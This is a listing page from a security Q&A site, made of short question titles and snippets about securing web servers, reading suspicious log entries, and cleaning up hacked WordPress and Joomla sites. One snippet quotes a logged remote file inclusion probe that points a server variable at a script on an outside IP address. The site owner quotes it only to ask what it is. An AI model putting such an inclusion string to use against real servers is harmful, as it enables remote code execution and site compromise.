A system whose primary function is to deliver web pages on request to clients.

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0
votes
2answers
375 views

Is it illegal to use Fake User-agents? [closed]

Is it illegal to impersonate user-agents when you are crawling a website? If so, what and how a legal action can be taken against the faking requester? Is this law applies only for crawlers or a user ...
0
votes
1answer
126 views

SSL Auth to proxy using Certificate on Client-side

The question may need to be reworded. The server-side is set up with Squid3 acting as an Authenticating proxy by way of LDAP. I did this for testing purposes to make sure everything was working. I ...
1
vote
1answer
147 views

Security Standards for storing private customer data

A certain government regulation in my country mandates all non-resident donors to provide a copy of their identification (usually, the passport). So, we ask the donors to upload a copy of their ...
0
votes
1answer
272 views

How could `iptables -F` lock me out of the server? [closed]

I was just configuring IPtables and whilst doing so, had the default chain policies set to ACCEPT, but when happy with the generated rules I changed that to DROP for all chains. I did not run ...
3
votes
3answers
1k views

What risks are involved in exposing our home computers over the public internet?

I'm currently running a webserver from home accessible on the public internet via a static IP. Exactly what kind of risk is there in doing so? From what I understand, the setup will not allow ...
2
votes
1answer
227 views

Where's the virus in this web site?

I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but ...
2
votes
1answer
823 views

How to find the pharmacy hack in a Joomla website?

We've discovered today that our Joomla website has been hacked by a pharmacy trojan. It was difficult to discover because most users don't see it when visiting our website. One user reported about 2 ...
2
votes
1answer
76 views

Server Detection Vectors

I have a web server, and I would like to anonymise it as much as possible, to prevent unreported exploits directed at my web server (original cracks). My ideas: change server header customize 404 ...
0
votes
1answer
95 views

Is there any reason to allow Python fetches of my Web server's pages?

I keep seeing "python-requests/1.1.0 CPython/2.7.4 Linux/3.8.0-19-generic" requests e.g. from Amazon's servers of my website. It's kind of creepy. Who would set up an Amazon server to scan websites? ...
0
votes
2answers
122 views

SVG-Snippets in Access-Log: Probe or Error?

I get some hits every then and there from different IPs, always the same scheme: GET /blah/Resources/Public/Css/data:image/svg+xml;base64,... HTTP/1.1" 404 795 "http://some.referer/" "Mozilla/4.0 ...
0
votes
1answer
127 views

Protecting Website Static Resources

If I have a website that is only accessible by authenticating at a login page, is it possible for a non-authenticated person to get access to static assets (images, css, javascript, ...)? I imagine ...
0
votes
2answers
130 views

General User Authorization Security

I am creating a website that needs user authorization. It is my first time creating a website to go live, and also my first time trying to do any form of authorization. The following is my plan, will ...
0
votes
3answers
1k views

Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
-3
votes
2answers
299 views

How can i secure my web server [closed]

i want to secure my web-server from hackers. what are the ways for secure my web server? . I need tight security. without admin permission no one can not access or hack my web-server
3
votes
1answer
142 views

Is using a WebServer as a proxy a secure solution

There are 2 machines - both running Windows Server. Machine1 can access the internet. Machine2 cannot access the internet, but can access Machine1. Machine2 needs to continuously access one external ...
2
votes
1answer
237 views

Possible to detect and log CORS and preflight requests in IIS?

I'd like to track and understand if CORS/cross site requests are hitting my website, and if they are succeeding or failing. My goal is to understand if clients are following our documentation ...
0
votes
2answers
340 views

How do I securely identify a remote (self programmed embedded) device in PHP?

Is there a reliable way in PHP to identify a device that might be behind a Router (so the IP is not unique)? Background: I have several embedded devices (self programmed & adaptable) that contact ...
2
votes
2answers
53 views

What are the security implications of STARTING a reverse proxied origin server as an unprivileged user?

A common recommendation as part of web server security is to run the server daemon as an unprivileged user (e.g.: nobody) so that exploits executing arbitrary code may have less unwanted effects. ...
2
votes
2answers
2k views

Checking if TLS 1.1 and 1.2 implementation in a webserver is upto standards

I am testing a webserver[proprietary] which offers SSL support and they say it supports TLS 1.1 and 1.2 which i have verified by firing requests from IE with only the target protocol enabled . ...
1
vote
1answer
592 views

“ScriptResource.axd” vulnerability in Windows Server 2008

I am using Windows Server 2008, Plesk 9.5, IIS 7, SQL Server 2008, and recently I have received and email claiming this server is vulnerable, and sent me the following URL: ...
7
votes
4answers
888 views

Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
8
votes
11answers
3k views

Besides IP addresses, how else could one be identified? [closed]

OP: I'm curious how else an actor seeking to identify someone online could accomplish this task besides just using an IP address. What methods would they employ? What knowledge must they have of the ...
8
votes
4answers
4k views

What are the disadvantages of Tor?

I've just started using Tor recently, and I'm not sure exactly what security issues come with the benefits. What should/shouldn't I be worried about (in both everyday normal-web browsing use, in ...
8
votes
4answers
4k views

Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
0
votes
1answer
213 views

Response to script-kiddies “scanning” website for vulnerabilities? [duplicate]

I have a website and I have email reports when 500 errors occur. Many of these errors occur because "hackers" are running scripts to look for common vulnerabilities or access to admin interfaces - ...
5
votes
2answers
221 views

Configuring election website to prevent MITM attacks

Consider an election web site that will be used for voting over the Internet. What steps should the administrator of such a web site take to provide adequate security against man-in-the-middle attacks ...
0
votes
1answer
161 views

Allow read-only access to server-side pages for security review?

This answer: http://security.stackexchange.com/a/37319/10574 Mentions the issue of host-based security. To the end user, the web server is an untrustable black box. Would it provide to needed ...
2
votes
2answers
2k views

How secure is using a blank index.html / index.php? [duplicate]

When you put a blank index.html into a given directory on a web server, web browsers will not display a file listing for that directory. But is it secure enough for other purposes other than ...
1
vote
1answer
2k views

WordPress Hacked - Found a suspicious “class-wp-style-table.php” [closed]

I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ...
0
votes
2answers
119 views

To-dos when taking over an existing webserver [closed]

I'm taking over as a system administrator on an existing LAMP server for a site with a number of individual applications. The person I'm replacing has done a pretty good job with security as far as I ...
0
votes
2answers
411 views

Create a SSL certificate and sign it with a personal certificate which in turn is signed by a certificate authority [duplicate]

I have a personal certificate which is signed by a certificate authority. This certificate is unrestricted with respect to its allowed purposes. Is it possible to create a SSL server certificate on my ...
2
votes
2answers
173 views

PDF files on webserver file system

We create PDF files as relevant to a customer's e-mail communication. These PDF's contain some personal information, specific to the client. The client is emailed a link to the PDF. The link to the ...
6
votes
3answers
3k views

How to know if two IP addresses point to the same web server?

Doing some testing against two IP address in the scope I find one web server in each one. Both host what it seems the same web application. They are different public (accessible through Internet) IP ...
1
vote
2answers
1k views

How to allow only some specific computer systems to access website? [duplicate]

I need a process to allow only certain computer systems access to the website irrespective of the network they are using. Much like a Licensing system, I can provide a private key or something ...
8
votes
2answers
425 views

Isolating Web application hosted on same web server

I am working on a scenario if we have two or more web application hosted on a same server. Let says Web application X is vulnerable so how can i be sure that it will not effect the other web ...
1
vote
1answer
152 views

How safe is WSIT username authentication with symmetric key?

I have an ajax-ws web service (exposed via glassfish) that uses username authentication with a symmetric key to encrypt and authenticate clients(link). How secure is this mechanism? Is this enough to ...
-6
votes
1answer
161 views

Hacker problems - They stole my backups [closed]

I am facing an issue where hackers are seeking to compromise two of my servers. They succeeded in wiping out both and stealing my backups. I had off-site backups and I am back online. Nonetheless, I ...
2
votes
2answers
357 views

Can clients execute my python CGI at will?

I have a site where the main database is interacted with via python scripts located in public_html\cgi-bin\. To run commands, various JavaScript scripts, located in \public_html\scripts\, use jQuery ...
2
votes
2answers
258 views

How to protect source code that resides on virtualbox web server which starts at boot?

I installed CentOS 6 on a 3gb virtualbox disk. It hosts a web server which starts automatically when the OS boots. No user login required. When it boots, it is given an IP and the host machine can ...
-2
votes
3answers
84 views

Do Mobile Device Management solutions provide a mechanism for an internal website to know what kind of device is connecting? [closed]

Is there any mechanism in mobile device management solutions that would allow a web server (for an internal, authenticated system, e.g. SharePoint) to know that a request is coming from a mobile ...
3
votes
1answer
231 views

Has a HTTP server access to SSL session ID?

I want to know if a HTTP server (Apache, nginx etc.) can access a SSL/TLS session ID. Assume we have some hardware which does only SSL/TLS and behind a webserver which sends and receives the requests. ...
24
votes
3answers
1k views

Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
54
votes
15answers
7k views

How is “hacking” even possible if I “defend” properly?

On a Linux-based server, I follow basic practices as below: Make the admin account password long and complicated enough (i.e. theoretically speaking, password cannot be cracked within reasonable ...
1
vote
2answers
147 views

secure certain data on my webserver

I've developed a website where people add their sensitive data. Not credit cards, but lets say they share things about themselves which are private and it wouldn't be good if other people see that ...
1
vote
3answers
589 views

Implication of URL injection in an URL shortener service

EDIT There have been upvotes retracted or downvotes due to, I think, a serious misunderstanding of my question. In the following I'm not concerned about the URL leading to a site containing malware ...
4
votes
3answers
428 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
1
vote
1answer
81 views

Recognizing malicious URL attempts against your website

On serveral websites I've run, I periodically see URLs run against my servers that look like this: /url_result?ctw_=sT,een_j...tdmlydXMtc2NhbS1lb........ Does anyone recognize it? I've tried to ...
3
votes
3answers
204 views

Monitoring for security threats

I host and maintain several websites. The users pay to have their sites maintained and secured. However, with the amount of web applications like joolma, wordpress, ect... and their plugins, I need a ...
8
votes
3answers
7k views

Is it possible to execute a php script in an image file? [duplicate]

I have an image upload php website. Users can upload images to my website. A user claims he can hack my website using an uploaded image. I opened all the images that he uploaded to my server with ...
2
votes
1answer
307 views

How to do security configuration for ibm http server?

We are using IBM HTTP Server Version 7.0 Need help related to Cross Site Scripting Prevention in IBM http server. Cross Site Scripting Prevention in Sun Java System Web Server 7.0 mentioned in ...